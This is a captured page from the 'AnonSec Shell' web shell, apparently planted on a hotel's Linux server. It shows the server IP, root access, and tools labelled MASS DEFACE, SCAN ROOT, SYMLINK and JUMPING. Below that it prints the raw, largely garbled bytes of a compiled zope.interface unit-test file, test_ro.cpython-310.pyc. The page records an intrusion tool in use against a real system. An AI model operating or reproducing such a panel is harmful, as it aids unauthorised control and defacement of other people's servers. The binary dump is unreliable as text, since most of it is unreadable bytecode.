AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/interface/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/interface/tests/__pycache__/test_ro.cpython-310.pyc
o

$
x`�7�@s�dZddlZGdd�dej�ZGdd�dej�ZGdd�dej�ZGd	d
�d
e�ZGdd�de�ZGd
d�dej�Z	Gdd�dej�Z
dS)z!Resolution ordering utility tests�Nc@�4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�Test__mergeOrderingscC�ddlm}||�S)Nr)�_legacy_mergeOrderings)�zope.interface.ror)�self�	orderingsr�r	�>/usr/lib/python3/dist-packages/zope/interface/tests/test_ro.py�_callFUT�zTest__mergeOrderings._callFUTcCs|�|�g�g�dS�N��assertEqualr�rr	r	r
�
test_emptyszTest__mergeOrderings.test_emptycCs|�|�gd��gd��dS)N)�a�b�crrr	r	r
�test_singlesz Test__mergeOrderings.test_singlecCs$|�|�dgddgg�ddg�dS)Nrrrrr	r	r
�test_w_duplicatess$z&Test__mergeOrderings.test_w_duplicatescCs@gd�}ddg}gd�}dg}|�|�||||g�gd��dS)N)�x�y�z�qr)���)rrrrrrrr)r�O1�O2�O3�O4r	r	r
�&test_suffix_across_multiple_duplicates"s�z;Test__mergeOrderings.test_suffix_across_multiple_duplicatesN)�__name__�
__module__�__qualname__rrrrr"r	r	r	r
rsrc@r)�
Test__flattencCr)Nr)�_legacy_flatten)rr')r�obr'r	r	r
r-rzTest__flatten._callFUTcC�4Gdd�dt�}|�}d|_|�|�|�|g�dS)Nc@�eZdZdS)z-Test__flatten.test_w_empty_bases.<locals>.FooN�r#r$r%r	r	r	r
�Foo2�r,r	��object�	__bases__rr�rr,�foor	r	r
�test_w_empty_bases1�z Test__flatten.test_w_empty_basescC�*Gdd�dt�}|�|�|�|tg�dS)Nc@r*)z-Test__flatten.test_w_single_base.<locals>.FooNr+r	r	r	r
r,9r-r,�r/rr�rr,r	r	r
�test_w_single_base8�z Test__flatten.test_w_single_basecC�<Gdd�dt�}Gdd�d|�}|�|�|�||tg�dS)Nc@r*)z'Test__flatten.test_w_bases.<locals>.FooNr+r	r	r	r
r,>r-r,c@r*)z'Test__flatten.test_w_bases.<locals>.BarNr+r	r	r	r
�Bar@r-r;r6�rr,r;r	r	r
�test_w_bases=�zTest__flatten.test_w_basesc
CsfGdd�dt�}Gdd�d|�}Gdd�d|�}Gdd�d||�}|�|�|�|||t||tg�dS)	Nc@r*)z)Test__flatten.test_w_diamond.<locals>.FooNr+r	r	r	r
r,Er-r,c@r*)z)Test__flatten.test_w_diamond.<locals>.BarNr+r	r	r	r
r;Gr-r;c@r*)z)Test__flatten.test_w_diamond.<locals>.BazNr+r	r	r	r
�BazIr-r?c@r*)z)Test__flatten.test_w_diamond.<locals>.QuxNr+r	r	r	r
�QuxKr-r@r6�rr,r;r?r@r	r	r
�test_w_diamondDs�zTest__flatten.test_w_diamondN)r#r$r%rr3r8r=rBr	r	r	r
r&+sr&c@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�Test_roNcK�ddlm}||fi|��S)Nr)�
_legacy_ro)rrE)rr(�kwargsrEr	r	r
rS�zTest_ro._callFUTcCr))Nc@r*)z'Test_ro.test_w_empty_bases.<locals>.FooNr+r	r	r	r
r,Xr-r,r	r.r1r	r	r
r3Wr4zTest_ro.test_w_empty_basescCr5)Nc@r*)z'Test_ro.test_w_single_base.<locals>.FooNr+r	r	r	r
r,_r-r,r6r7r	r	r
r8^r9zTest_ro.test_w_single_basecCr:)Nc@r*)z!Test_ro.test_w_bases.<locals>.FooNr+r	r	r	r
r,dr-r,c@r*)z!Test_ro.test_w_bases.<locals>.BarNr+r	r	r	r
r;fr-r;r6r<r	r	r
r=cr>zTest_ro.test_w_basescCsbGdd�dt�}Gdd�d|�}Gdd�d|�}Gdd�d||�}|�|�|�||||tg�dS)	Nc@r*)z#Test_ro.test_w_diamond.<locals>.FooNr+r	r	r	r
r,kr-r,c@r*)z#Test_ro.test_w_diamond.<locals>.BarNr+r	r	r	r
r;mr-r;c@r*)z#Test_ro.test_w_diamond.<locals>.BazNr+r	r	r	r
r?or-r?c@r*)z#Test_ro.test_w_diamond.<locals>.QuxNr+r	r	r	r
r@qr-r@r6rAr	r	r
rBjs�zTest_ro.test_w_diamondcCsbGdd�dt�}|d�}|d|�}|d|�}|d|�}|d|�}|d|||�}|||||||gfS)	Nc@seZdZdd�Zdd�ZdS)z Test_ro._make_IOErr.<locals>.FoocW�||_||_dSr
�r#r0)r�name�basesr	r	r
�__init__y�
z)Test_ro._make_IOErr.<locals>.Foo.__init__cS�|jSr
�r#rr	r	r
�__repr__|�z)Test_ro._make_IOErr.<locals>.Foo.__repr__N)r#r$r%rLrPr	r	r	r
r,xsr,�IEx�IStdErr�IEnvErr�IIOErr�IOSErr�IOErr)r/)rr,rRrSrTrUrVrWr	r	r
�_make_IOErrvs	



zTest_ro._make_IOErrcCs"|��\}}|�|�|�|�dSr
)rXrr)rrWrKr	r	r
�test_non_orderable�szTest_ro.test_non_orderablec
Cs�ddlm}ddlm}ddlm}ddlm}Gdd�d|�}||�Gdd	�d	t��}Gd
d�d|�}Gdd
�d
t�}Gdd�d||�}	|�|�||	���||	�||�||�||||�|t�g�dS)Nr)�implementer��	Interface��
providedBy)�
implementedByc@r*)z?Test_ro.test_mixed_inheritance_and_implementation.<locals>.IFooNr+r	r	r	r
�IFoo�r-r`c@r*)zHTest_ro.test_mixed_inheritance_and_implementation.<locals>.ImplementsFooNr+r	r	r	r
�
ImplementsFoo�srac@r*)zETest_ro.test_mixed_inheritance_and_implementation.<locals>.ExtendsFooNr+r	r	r	r
�
ExtendsFoo�r-rbc@r*)zLTest_ro.test_mixed_inheritance_and_implementation.<locals>.ImplementsNothingNr+r	r	r	r
�ImplementsNothing�r-rcc@r*)zVTest_ro.test_mixed_inheritance_and_implementation.<locals>.ExtendsFooImplementsNothingNr+r	r	r	r
�ExtendsFooImplementsNothing�r-rd)�zope.interfacerZr\r^r_r/rr)
rrZr\r^r_r`rarbrcrdr	r	r
�)test_mixed_inheritance_and_implementation�s*��z1Test_ro.test_mixed_inheritance_and_implementation)r#r$r%�maxDiffrr3r8r=rBrXrYrfr	r	r	r
rCQsrCc@s$eZdZdd�Zdd�Zdd�ZdS)�	C3SettingcCrHr
)�_setting�_value)r�setting�valuer	r	r
rL�rMzC3Setting.__init__cCs$ddlm}t|j|jj|j�dS�Nr��ro)rero�setattr�C3rir#rj)rror	r	r
�	__enter__��zC3Setting.__enter__cCs$ddlm}t|j|jj|j�dSrm)rerorprqrir#)r�t�v�tbror	r	r
�__exit__�rszC3Setting.__exit__N)r#r$r%rLrrrwr	r	r	r
rh�srhcsheZdZdd�Zdd�Zefdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Z�fdd�Z
�ZS)�
Test_c3_rocCs4t�|�ddlm}|d�|_}|�|j�dS)Nr)�InstalledHandlerzzope.interface.ro)rC�setUp�zope.testing.loggingsupportry�log_handler�
addCleanup�	uninstall)rry�handlerr	r	r
rz�s
zTest_c3_ro.setUpcKrDrm)rro)rr(rFror	r	r
r�rGzTest_c3_ro._callFUTc	Cs�|}Gdd�d|�}Gdd�d|�}Gdd�d|�}Gdd�d||�}Gd	d
�d
||�}Gdd�d||�}t|d
�rE|�|��|�|��|S)Nc@r*)z*Test_c3_ro.test_complex_diamond.<locals>.FNr+r	r	r	r
�F�r-r�c@r*)z*Test_c3_ro.test_complex_diamond.<locals>.ENr+r	r	r	r
�E�r-r�c@r*)z*Test_c3_ro.test_complex_diamond.<locals>.DNr+r	r	r	r
�D�r-r�c@r*)z*Test_c3_ro.test_complex_diamond.<locals>.CNr+r	r	r	r
�C�r-r�c@r*)z*Test_c3_ro.test_complex_diamond.<locals>.BNr+r	r	r	r
�B�r-r�c@r*)z*Test_c3_ro.test_complex_diamond.<locals>.ANr+r	r	r	r
�A�r-r��mro)�hasattrrr�r)	r�base�Or�r�r�r�r�r�r	r	r
�test_complex_diamond�s
zTest_c3_ro.test_complex_diamondcCs6ddlm}|�|�}|�dd�|jD�gd��dS)Nrr[cSsg|]}|j�qSr	rO)�.0rr	r	r
�
<listcomp>�sz=Test_c3_ro.test_complex_diamond_interface.<locals>.<listcomp>)r�r�r�r�r�r�r\)rer\r�r�__iro__)rr\�IAr	r	r
�test_complex_diamond_interface�s
�z)Test_c3_ro.test_complex_diamond_interfacecCs>ddlm}|�|�}|j|dd�}|�|j|�|��dS)Nrr[T)�
use_legacy_ro)rer\r�r�assertNotEqualr��_check_handler_complex_diamond)rr\r��legacy_A_iror	r	r
�(test_complex_diamond_use_legacy_argument�s

z3Test_c3_ro.test_complex_diamond_use_legacy_argumentcCsBddlm}|�|�}|j|dd�}|�t|�|j�|��dS)Nrr[T)�log_changed_ro)rer\r�rr�tupler�r�)rr\r��computed_A_iror	r	r
�,test_complex_diamond_compare_legacy_argument�s

z7Test_c3_ro.test_complex_diamond_compare_legacy_argumentcCsJ|j}|�dt|j��|jd}|�d�dd�|����D��d�dS)Nrr�
css�|]}|��VqdSr
)�rstrip)r��lr	r	r
�	<genexpr>s�z<Test_c3_ro._check_handler_complex_diamond.<locals>.<genexpr>a�Object <InterfaceClass zope.interface.tests.test_ro.A> has different legacy and C3 MROs:
  Legacy RO (len=7)                 C3 RO (len=7; inconsistent=no)
  ==================================================================
    zope.interface.tests.test_ro.A    zope.interface.tests.test_ro.A
    zope.interface.tests.test_ro.B    zope.interface.tests.test_ro.B
  - zope.interface.tests.test_ro.E
    zope.interface.tests.test_ro.C    zope.interface.tests.test_ro.C
    zope.interface.tests.test_ro.D    zope.interface.tests.test_ro.D
                                    + zope.interface.tests.test_ro.E
    zope.interface.tests.test_ro.F    zope.interface.tests.test_ro.F
    zope.interface.Interface          zope.interface.Interface)r|r�len�records�join�
getMessage�
splitlines)rr�recordr	r	r
r��s
(z)Test_c3_ro._check_handler_complex_diamondc
Csddlm}Gdd�dt�}|ddi�}Gdd�d|�}Gd	d
�d
|�}Gdd�d|�}Gd
d�d|�}|d�}|d|||f�}	|d|||	f�}
|j|
ddd�}|�||
||	|||||g�|jj\}|�d|���|�	|j
��|j|
dd�Wd�dS1s�wYdS)Nrrnc@s"eZdZdZddd�Zdd�ZdS)zUTest_c3_ro.test_ExtendedPathIndex_implement_thing_implementedby_super.<locals>._Basedr	NcSrHr
rI)rrJrK�attrsr	r	r
rLrMz^Test_c3_ro.test_ExtendedPathIndex_implement_thing_implementedby_super.<locals>._Based.__init__cSrNr
rOrr	r	r
rPrQz^Test_c3_ro.test_ExtendedPathIndex_implement_thing_implementedby_super.<locals>._Based.__repr__)r	N)r#r$r%r0rLrPr	r	r	r
�_Baseds
r�r\r	c@r*)z^Test_c3_ro.test_ExtendedPathIndex_implement_thing_implementedby_super.<locals>.IPluggableIndexNr+r	r	r	r
�IPluggableIndex!r-r�c@r*)zbTest_c3_ro.test_ExtendedPathIndex_implement_thing_implementedby_super.<locals>.ILimitedResultIndexNr+r	r	r	r
�ILimitedResultIndex$r-r�c@r*)zZTest_c3_ro.test_ExtendedPathIndex_implement_thing_implementedby_super.<locals>.IQueryIndexNr+r	r	r	r
�IQueryIndex'r-r�c@r*)zYTest_c3_ro.test_ExtendedPathIndex_implement_thing_implementedby_super.<locals>.IPathIndexNr+r	r	r	r
�
IPathIndex*r-r�r/�	PathIndex�ExtendedPathIndexTF)r��strictzused the legacy�r�)reror/rrr|r��assertInr��assertRaises� InconsistentResolutionOrderError)
rror�r\r�r�r�r��objr�r��resultr�r	r	r
�:test_ExtendedPathIndex_implement_thing_implementedby_supers8
��

"�zETest_c3_ro.test_ExtendedPathIndex_implement_thing_implementedby_superc	Cs`ttur	|�d�ddlm}ddlm}|�t|t���	��|j
|j|j|j
|j|jg�dS)Nz$Requires Python 3 IOError == OSErrorr)�
interfacesr])�OSError�IOError�skipTest�zope.interface.commonr�rer^r�list�	flattened�IOSError�IIOError�IEnvironmentError�IStandardError�
IExceptionr\)rr�r^r	r	r
�test_OSError_IOErrorPs
��zTest_c3_ro.test_OSError_IOErrorcsddl}ddlm}z|`Wn	tyYnw|���X|�d�t|jj	d��<t|jj
d��%|�|j��t
t|���Wd�n1sJwYWd�n1sYwYWd�n1shwYWd�n1swwY|��\}}|�|j��|j|dd�Wd�n1s�wYt|jjd��Et|jj
d��.|���|�d�|�|�Wd�n1s�wY|�||jj�Wd�n1s�wYWd�n1s�wY|j|dd�}|j|ddd�}|�||�dS)	Nrrn�errorTFr��ignore)r�r�)�warningsrero�__warningregistry__�AttributeError�catch_warnings�simplefilterrhrq�WARN_BAD_IRO�
STRICT_IROr��"InconsistentResolutionOrderWarning�superrxrYrXr�r�
TRACK_BAD_IROr��BAD_IROSr)rr�rorW�_�iro�
legacy_iro��	__class__r	r
rYbsF�

 ������� 

���zTest_c3_ro.test_non_orderable)r#r$r%rzrr/r�r�r�r�r�r�r�rY�
__classcell__r	r	r�r
rx�s

	?rxc@s&eZdZd	dd�Zdd�Zdd�ZdS)
�TestC3FNcCsddlm}|�|||�S)Nr)rq)rrq�resolver)rr�r��	base_mrosrqr	r	r
�_makeOne�szTestC3._makeOnecCsF|jt|�tjtjjid�}|j}|�tj|�|�|tjj�dS)N)r�)	r��type�unittest�TestCase�__mro__�memor��assertIsNone�had_inconsistency)r�c3r�r	r	r
�test_base_mros_given�szTestC3.test_base_mros_givencCs>|�t|��}|�|j�d|_|�|��tt|�j��dSr
)	r�r��assertIsNotNone�_C3__mro�_mergerr�r�r�)rr�r	r	r
�test_one_base_optimization�sz!TestC3.test_one_base_optimization)FN)r#r$r%r�r�r�r	r	r	r
r��s
r�c@s.eZdZGdd�de�Zd	dd�Zdd�ZdS)
�Test_ROComparisonc@seZdZdZdZdS)zTest_ROComparison.MockC3FN)r#r$r%�direct_inconsistency�bases_had_inconsistencyr	r	r	r
�MockC3�sr�Nr	cCs ddlm}||p|��||�S)Nr)�
_ROComparison)rr�r�)rr��c3_ro�	legacy_ror�r	r	r
r��szTest_ROComparison._makeOnecCs\|��}|�d|j�d|j_|�d|j�d|j_|�d|j�d|j_|�d|j�dS)N�noT�directzdirect+basesFrK)r�r�_inconsistent_labelr�r�r�)r�compr	r	r
�test_inconsistent_label�sz)Test_ROComparison.test_inconsistent_label)Nr	r	)r#r$r%r/r�r�r�r	r	r	r
r��s
r�)�__doc__r�r�rr&rCr/rhrxr�r�r	r	r	r
�<module>s
&b@

Anon7 - 2022
AnonSec Team